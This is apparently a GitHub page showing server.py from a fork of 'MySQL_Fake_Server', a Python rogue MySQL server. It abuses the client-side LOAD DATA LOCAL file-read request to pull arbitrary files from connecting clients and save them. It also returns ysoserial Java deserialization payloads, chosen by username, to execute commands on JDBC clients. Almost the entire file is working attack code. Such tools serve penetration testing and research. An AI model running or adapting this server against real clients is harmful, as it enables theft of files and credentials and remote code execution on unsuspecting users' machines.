forked from fnmsd/MySQL_Fake_Server
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathserver.py
231 lines (211 loc) · 9.46 KB
/
server.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
import asyncio
import logging
import signal
import random
signal.signal(signal.SIGINT, signal.SIG_DFL)
from mysqlproto.protocol import start_mysql_server
from mysqlproto.protocol.base import OK, ERR, EOF
from mysqlproto.protocol.flags import Capability
from mysqlproto.protocol.handshake import HandshakeV10, HandshakeResponse41, AuthSwitchRequest
from mysqlproto.protocol.query import ColumnDefinition, ColumnDefinitionList, ResultSet,FileReadPacket
import subprocess
import time
@asyncio.coroutine
def accept_server(server_reader, server_writer):
task = asyncio.Task(handle_server(server_reader, server_writer))
@asyncio.coroutine
def process_fileread(server_reader, server_writer,filename):
print("Start Reading File:"+filename.decode('utf8'))
FileReadPacket(filename).write(server_writer)
yield from server_writer.drain()
#server_writer.reset()
#time.sleep(3)
isFinish = False
outContent=b''
outputFileName="%s/%s___%d___%s"%(fileOutputDir,server_writer.get_extra_info('peername')[:2][0],int(time.time()),filename.decode('ascii').replace('/','_').replace('\\','_').replace(':','_'))
while not isFinish:
packet = server_reader.packet()
while True:
fileData = (yield from packet.read())
#当前packet没有未读取完的数据
if fileData == '':
break
#空包,文件读取结束
if fileData == b'':
isFinish = True
break
outContent+=fileData
if len(outContent) == 0:
print("Nothing had been read")
else:
if displayFileContentOnScreen:
print("========File Conntent Preview=========")
try:
print(outContent.decode('utf8')[:1000])
except Exception as e:
#print(e)
print(outContent[:1000])
print("=======File Conntent Preview End==========")
if saveToFile:
with open(outputFileName,'wb') as f:
f.write(outContent)
print("Save to File:"+outputFileName)
#OK(capability, handshake.status).write(server_writer)
#server_writer.close()
return
@asyncio.coroutine
def handle_server(server_reader, server_writer):
handshake = HandshakeV10()
handshake.write(server_writer)
print("Incoming Connection:"+str(server_writer.get_extra_info('peername')[:2]))
yield from server_writer.drain()
switch2clear=False
handshake_response = yield from HandshakeResponse41.read(server_reader.packet(), handshake.capability)
username = handshake_response.user
print("Login Username:"+username.decode("ascii"))
#print("<=", handshake_response.__dict__)
#检测是否需要切换到mysql_clear_password
if username.endswith(b"_clear"):
switch2clear = True
username = username[:-len("_clear")]
capability = handshake_response.capability_effective
if (Capability.PLUGIN_AUTH in capability and
handshake.auth_plugin != handshake_response.auth_plugin
and switch2clear):
print("Switch Auth Plugin to mysql_clear_password")
AuthSwitchRequest().write(server_writer)
yield from server_writer.drain()
auth_response = yield from server_reader.packet().read()
print("<=", auth_response)
result = OK(capability, handshake.status)
result.write(server_writer)
yield from server_writer.drain()
while True:
server_writer.reset()
packet = server_reader.packet()
try:
cmd = (yield from packet.read(1))[0]
except Exception as _:
#TODO:可能会出问题 ┓( ´∀` )┏
return
pass
print("<=", cmd)
query =(yield from packet.read())
if query != '':
query = query.decode('ascii')
if username.startswith(b"fileread_"):
yield from process_fileread(server_reader, server_writer,username[len("fileread_"):])
result = OK(capability, handshake.status)
#return
elif username in fileread_dict:
#query =(yield from packet.read())
yield from process_fileread(server_reader, server_writer,fileread_dict[username])
result = OK(capability, handshake.status)
#return
elif username not in yso_dict and not username.startswith(b"yso_"):
#query =(yield from packet.read())
yield from process_fileread(server_reader, server_writer,random.choice(defaultFiles))
result = OK(capability, handshake.status)
elif cmd == 1:
result =ERR(capability)
#return
elif cmd == 3:
#query = (yield from packet.read()).decode('ascii')
if 'SHOW VARIABLES'.lower() in query.lower():
print("Sending Fake MySQL Server Environment Data")
ColumnDefinitionList((ColumnDefinition('d'),ColumnDefinition('e'))).write(server_writer)
EOF(capability, handshake.status).write(server_writer)
ResultSet(("max_allowed_packet","67108864")).write(server_writer)
ResultSet(("system_time_zone","UTC")).write(server_writer)
ResultSet(("time_zone","SYSTEM")).write(server_writer)
ResultSet(("init_connect","")).write(server_writer)
ResultSet(("auto_increment_increment","1")).write(server_writer)
result = EOF(capability, handshake.status)
elif username in yso_dict:
#Serial Data
print("Sending Presetting YSO Data with username "+username.decode('ascii'))
ColumnDefinitionList((ColumnDefinition('a'),ColumnDefinition('b'),ColumnDefinition('c'))).write(server_writer)
EOF(capability, handshake.status).write(server_writer)
ResultSet(("11",yso_dict[username],"2333")).write(server_writer)
result = EOF(capability, handshake.status)
elif username.startswith(b"yso_"):
query =(yield from packet.read())
_,yso_type,yso_command = username.decode('ascii').split("_")
print("Sending YSO data with params:%s,%s" % (yso_type,yso_command))
content = get_yso_content(yso_type,yso_command)
ColumnDefinitionList((ColumnDefinition('a'),ColumnDefinition('b'),ColumnDefinition('c'))).write(server_writer)
EOF(capability, handshake.status).write(server_writer)
ResultSet(("11",content,"2333")).write(server_writer)
result = EOF(capability, handshake.status)
elif query.decode('ascii') == 'select 1':
ColumnDefinitionList((ColumnDefinition('database'),)).write(server_writer)
EOF(capability, handshake.status).write(server_writer)
ResultSet(('test',)).write(server_writer)
result = EOF(capability, handshake.status)
else:
result = OK(capability, handshake.status)
else:
result = ERR(capability)
result.write(server_writer)
yield from server_writer.drain()
yso_dict={
}
def get_yso_content(yso_type,command):
popen = subprocess.Popen([javaBinPath, '-jar', ysoserialPath, yso_type, command], stdout=subprocess.PIPE)
file_content = popen.stdout.read()
return file_content
def addYsoPaylod(username,yso_type,command):
yso_dict[username] = get_yso_content(yso_type,command)
logging.basicConfig(level=logging.INFO)
fileOutputDir="./fileOutput/"
displayFileContentOnScreen = True
saveToFile=True
fileread_dict={
}
ysoserialPath = 'ysoserial-0.0.6-SNAPSHOT-all.jar'
javaBinPath = 'java'
defaultFiles = []
if __name__ == "__main__":
import json
with open("config.json") as f:
data = json.load(f)
if 'config' in data:
config_data = data['config']
if 'ysoserialPath' in config_data:
ysoserialPath = config_data['ysoserialPath']
if 'javaBinPath' in config_data:
javaBinPath = config_data['javaBinPath']
if 'fileOutputDir' in config_data:
fileOutputDir = config_data['fileOutputDir']
if 'displayFileContentOnScreen' in config_data:
displayFileContentOnScreen = config_data['displayFileContentOnScreen']
if 'saveToFile' in config_data:
saveToFile = config_data['saveToFile']
import os
try:
os.makedirs(fileOutputDir)
except FileExistsError as _:
pass
for k,v in data['fileread'].items():
if k == '__defaultFiles':
defaultFiles = v
for i in range(len(defaultFiles)):
defaultFiles[i] = defaultFiles[i].encode('ascii')
else:
fileread_dict[k.encode('ascii')] = v.encode('ascii')
#print(fileread_dict)
if "yso" in data:
for k,v in data['yso'].items():
addYsoPaylod(k.encode('ascii'),v[0],v[1])
#print(yso_dict)
loop = asyncio.get_event_loop()
f = start_mysql_server(handle_server, host=None, port=3306)
print("===========================================")
print("MySQL Fake Server")
print("Author:fnmsd(https://blog.csdn.net/fnmsd)")
print("Load %d Fileread usernames :%s" % (len(fileread_dict),list(fileread_dict.keys())))
print("Load %d yso usernames :%s" % (len(yso_dict),list(yso_dict.keys())))
print("Load %d Default Files :%s" % (len(defaultFiles),defaultFiles))
print("Start Server at port 3306")
loop.run_until_complete(f)
loop.run_forever()